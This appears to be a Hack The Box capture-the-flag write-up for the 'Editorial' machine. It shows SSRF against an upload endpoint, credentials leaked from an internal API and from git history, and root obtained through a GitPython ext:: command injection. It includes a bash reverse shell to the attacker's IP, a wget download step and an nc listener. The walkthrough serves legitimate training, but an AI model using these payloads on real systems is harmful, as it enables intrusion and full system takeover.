

## Day 1

## Port Scanning

```
(shivam@kali)-[~]
└─$ rustscan -a editorial.htb --ulimit 5000
```

```
[.....]
| {} | { } | { [ _ ] { [ / ] / { \ | \ | 
|-.-\ | { } |-.-} } || -.} }\      } / ^ \| \ | 
|-----|-----|-----|-----|-----|
```

```
The Modern Day Port Scanner.
```

```
|-----|
| http://discord.skerritt.blog           :
| https://github.com/RustScan/RustScan   :
|-----|
```

```
HACK THE PLANET🌐
```

```
[~] The config file is expected to be at "/home/shivam/.rustscan.toml"
```

```
[~] Automatically increasing ulimit value to 5000.
```

```
Open 10.129.32.135:22
```

```
Open 10.129.32.135:80
```

```
[~] Starting Script(s)
```

```
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-16 12:22 IST
```

```
Initiating Ping Scan at 12:22
```

```
Scanning 10.129.32.135 [2 ports]
```

```
Completed Ping Scan at 12:22, 0.14s elapsed (1 total hosts)
```

```
Initiating Connect Scan at 12:22
```

```
Scanning editorial.htb (10.129.32.135) [2 ports]
```

```
Discovered open port 22/tcp on 10.129.32.135
```

```
Discovered open port 80/tcp on 10.129.32.135
```

```
Completed Connect Scan at 12:22, 0.14s elapsed (2 total ports)
```

```
Nmap scan report for editorial.htb (10.129.32.135)
```

```
Host is up, received syn-ack (0.14s latency).
```

```
Scanned at 2024-06-16 12:22:30 IST for 1s
```

PORT	STATE	SERVICE	REASON
22/tcp	open	ssh	syn-ack
80/tcp	open	http	syn-ack

```
Read data files from: /usr/bin/../share/nmap
```

```
Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds
```

## Web interface



### Editorial Tiempo Arriba

A year full of emotions, thoughts, and ideas. All on a simple white page.

"I have always imagined that Paradise will be a kind of library." - Jorge Luis Borges.




## Publish with us button redirects us to /upload

### Editorial Tiempo Arriba

Our editorial will be happy to publish your book. Please provide next information to meet you.

**Book information**



**Book name**

**Tell us about your book**

**Why did you choose this publisher?**

**Contact Email**

**Contact Phone**

We can preview an image here but when I clicked send book info the image was not included on post request and there is no xss on any parameters tried that.

So I think there is something related to the preview but what??  
I tried every thing possible here but didn't got anything

I revied the burp requests to web sever and found something strange.

```
Request
Pretty Raw Hex
1 POST /upload-cover HTTP/1.1
2 Host: editorial.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data;
  boundary=-----79563071113263724924144038065
8 Content-Length: 340
9 Origin: http://editorial.htb
10 Connection: close
11 Referer: http://editorial.htb/upload?cmd=whoami
12
13 -----79563071113263724924144038065
14 Content-Disposition: form-data; name="bookurl"
15
16
17 -----79563071113263724924144038065
18 Content-Disposition: form-data; name="bookfile"; filename=""
19 Content-Type: application/octet-stream
20
21
22 -----79563071113263724924144038065--
23
```

The bookurl parameter could be an ssrf  
When I did file:///etc/passwd, I got nothing. Then I tried http://127.0.0.1/ still nothing.  
But the server hangs for a second so might be we need a port number and by  
looking at the directory structure of uploaded files it looks like Flask application and  
Flask by default runs on port 5000 let's try that.

```
Request
Pretty Raw Hex
1 POST /upload-cover HTTP/1.1
2 Host: editorial.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0)
  Gecko/20100101 Firefox/115.0
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: multipart/form-data;
  boundary=-----5237024571082082993363990912
8 Content-Length: 355
9 Origin: http://editorial.htb
10 Connection: close
11 Referer: http://editorial.htb/upload
12
13 -----5237024571082082993363990912
14 Content-Disposition: form-data; name="bookurl"
15
16 http://127.0.0.1:5000/
17 -----5237024571082082993363990912
18 Content-Disposition: form-data; name="bookfile"; filename=""
19 Content-Type: image/jpeg
20
21
22 -----5237024571082082993363990912--
23

Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Sun, 16 Jun 2024 09:32:14 GMT
4 Content-Type: text/html; charset=utf-8
5 Connection: close
6 Content-Length: 51
7
8 static/uploads/4aaad80c-a91f-442f-ae1a-9a56d316d191
```

Found some internal API endpoints.

```
Request
Pretty Raw Hex
1 GET /static/uploads/4aaad80c-a91f-442f-aela-9a56d316d191 HTTP/1.1
2 Host: editorial.htb
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
4 Accept: image/avif,image/webp,*/*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Connection: close
8 Referer: http://editorial.htb/upload
9
10
```

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Sun, 16 Jun 2024 09:32:24 GMT
4 Content-Type: application/octet-stream
5 Content-Length: 911
6 Connection: close
7 Content-Disposition: inline; filename=4aaad80c-a91f-442f-aela-9a56d316d191
8 Last-Modified: Sun, 16 Jun 2024 09:32:14 GMT
9 Cache-Control: no-cache
10 ETag: "1718530334.156843-911-43784388"
11
12 {"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our
library.", "endpoint":"/api/latest/metadata/messages/promos", "methods":"GET"}}, {"coupons":{"descriptio
n":"Retrieve the list of coupons to use in our
library.", "endpoint":"/api/latest/metadata/messages/coupons", "methods":"GET"}}, {"new_authors":{"desc
ription":"Retrieve the welcome message sended to our new
authors.", "endpoint":"/api/latest/metadata/messages/authors", "methods":"GET"}}, {"platform_use":{"desc
ription":"Retrieve examples of how to use the
platform.", "endpoint":"/api/latest/metadata/messages/how_to_use_platform", "methods":"GET"}}, {"version
":{"changelog":{"description":"Retrieve a list of all the versions and updates of the
api.", "endpoint":"/api/latest/metadata/changelog", "methods":"GET"}}, {"latest":{"description":"Retriev
e the last version of api.", "endpoint":"/api/latest/metadata", "methods":"GET"}}}]
13
```

Following is the list of api endpoints

```
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our
library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our
library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
```

```

        "methods": "GET"
    }
},
{
    "new_authors": {
        "description": "Retrieve the welcome message sent to our new
authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
    }
},
{
    "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
    }
}
],
"version": [
    {
        "changelog": {
            "description": "Retrieve a list of all the versions and updates
of the api.",
            "endpoint": "/api/latest/metadata/changelog",
            "methods": "GET"
        }
    },
    {
        "latest": {
            "description": "Retrieve the last version of api.",
            "endpoint": "/api/latest/metadata",
            "methods": "GET"
        }
    }
]
}

```

The endpoint that caught my attention is the `new_authors` because it retrieves the welcome message sent to new authors

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0 (Ubuntu)
3 Date: Sun, 16 Jun 2024 09:40:47 GMT
4 Content-Type: application/octet-stream
5 Content-Length: 506
6 Connection: close
7 Content-Disposition: inline; filename=a29c371b-b75c-4e0c-b825-8e262f057716
8 Last-Modified: Sun, 16 Jun 2024 09:40:36 GMT
9 Cache-Control: no-cache
10 ETag: "1718530836.572829-506-4107671572"
11
12 {"template_mail_message":"Welcome to the team! We are thrilled to have you
on board and can't wait to see the incredible content you'll bring to the
table.\n\nYour login credentials for our internal forum and authors site
are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change
your password as soon as possible for security purposes.\n\nDon't hesitate
to reach out if you have any questions or ideas - we're always here to
support you.\n\nBest regards, Editorial Tiempo Arriba Team."}
13
```

Let's try logging with ssh using this creds and Got user

```
Last login: Mon Jun 10 09:11:03 2024 from 10.10.14.52
dev@editorial:~$ ls
apps  user.txt
dev@editorial:~$
```

There are 3 users in this box. Might need some lateral movement

```
dev@editorial:~/apps$ cat /etc/passwd | grep -i /bin/bash
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001:~/home/dev:/bin/bash
```

/apps directory has a directory named .git

```
dev@editorial:~$ cd apps/
dev@editorial:~/apps$ ls
dev@editorial:~/apps$ ls -al
total 12
drwxrwxr-x 3 dev dev 4096 Jun  5 14:36 .
drwxr-x--- 4 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x 8 dev dev 4096 Jun  5 14:36 .git
```

We can see the commit performed

```
dev@editorial:~/apps$ git show
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

diff --git a/app_editorial/app.py b/app_editorial/app.py
index aeabbbc..4855487 100644
--- a/app_editorial/app.py
+++ b/app_editorial/app.py
@@ -22,7 +22,7 @@ def request_reject_localhost(url_bookcover):

# -- Editorial information (API)
def api_editorial_info(key):
-    r = requests.get('http://127.0.0.1:5001/api')
+    r = requests.get('http://127.0.0.1:5000/api')
    json_editorial_info = json.loads(r.text)

    editorial_api_version = list(json_editorial_info['version'][-1].keys())[0]
dev@editorial:~/apps$
```

There isn't any weird port open

```
dev@editorial:~/apps$ netstat -tunl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.1:5000          0.0.0.0:*               LISTEN
tcp        0      0 127.0.0.53:53          0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:80             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:22             0.0.0.0:*               LISTEN
tcp6       0      0 :::22                  :::*                     LISTEN
udp        0      0 127.0.0.53:53          0.0.0.0:*               *
udp        0      0 0.0.0.0:68             0.0.0.0:*               *
```

Okay so let's continue on git

The Downgrading prod to dev looks suspicious let check that git

```
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info

    * It (will) contains internal info about the editorial, this enable
      faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app

    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
      books and validate a future post in our editorial.
```

Yes got the prod user's password



```
dev@editorial:~/apps$ git show b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date: Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev

    * To use development environment.

diff --git a/app_api/app.py b/app_api/app.py
index 61b786f..3373b14 100644
--- a/app_api/app.py
+++ b/app_api/app.py
@@ -64,7 +64,7 @@ def index():
    @app.route(api_route + '/authors/message', methods=['GET'])
    def api_mail_new_authors():
        return jsonify({
-            'template_mail_message': "Welcome to the team! We are thrilled to ha
ve you on board and can't wait to see the incredible content you'll bring to
the table.\n\nYour login credentials for our internal forum and authors site
are:\nUsername: prod\nPassword: 080217_Production_2023!\nPlease be sure to c
hange your password as soon as possible for security purposes.\n\nDon't hesit
ate to reach out if you have any questions or ideas - we're always here to su
pport you.\n\nBest regards, " + api_editorial_name + " Team."

```

```
Last login: Sun Jun 16 10:06:39 2024 from 10.10.14.162
prod@editorial:~$ whoami
prod
prod@editorial:~$
```

Prod user has some sudo privileges

```
prod@editorial:~$ sudo -l
[sudo] password for prod:
Sorry, try again.
[sudo] password for prod:
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
prod@editorial:~$
```

Let's have a look at the python script to understand what it does

```
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('.', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c
protocol.ext.allow=always"])
```

This program initializes a bare git repo at /opt/internal\_apps/clone\_changes clone the repo provided in the URL and apply the options. By searing about GitPython privesc found an article which is very similar to this

<https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858>

To confirm this will work or not I checked the version of GitPython installed on the box. Turns out it's vulnerable

```
prod@editorial:~$ pip list | grep Git
GitPython 3.1.29
```

So I run the payload

```
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/pwned'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/pwned new_changes
  stderr: 'Cloning into 'new_changes'...'
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
```

Verified by viewing the owner of /tmp/pwned file

```
prod@editorial:~$ ls -al /tmp/pwned
-rw-r--r-- 1 root root 0 Jun 16 11:11 /tmp/pwned
```

```
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c whoami'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c whoami new_changes
  stderr: 'Cloning into 'new_changes'...'
fatal: protocol error: bad line length character: root
```

In order to get root shell first I craft a rever shell payload

```
(shivam@kali)-[~/htb/editorial]
$ cat shell.sh
#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.162/1337 0>&1"
```

Next upload this on the box

```
prod@editorial:~$ wget http://10.10.14.162/shell.sh
--2024-06-16 11:23:16-- http://10.10.14.162/shell.sh
Connecting to 10.10.14.162:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 65 [text/x-sh]
Saving to: 'shell.sh'

shell.sh                                                    100%

2024-06-16 11:23:16 (4.82 MB/s) - 'shell.sh' saved [65/65]
```

Next make it an executable

```
prod@editorial:~$ chmod +x shell.sh
prod@editorial:~$ ls
shell.sh
```

Next get the shell dude

```
prod@editorial:~$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/
clone_prod_change.py 'ext::bash -c /home/prod/shell.sh'
```

And don't forget to turn the listener up

Finally root.txt

```
(shivam@kali)-[~/htb/editorial/git_shell]
└─$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 10.129.32.135 53086
root@editorial:/opt/internal_apps/clone_changes# id
id
uid=0(root) gid=0(root) groups=0(root)
root@editorial:/opt/internal_apps/clone_changes# ls /ro /ro
ls /root/
root.txt
root@editorial:/opt/internal_apps/clone_changes#
```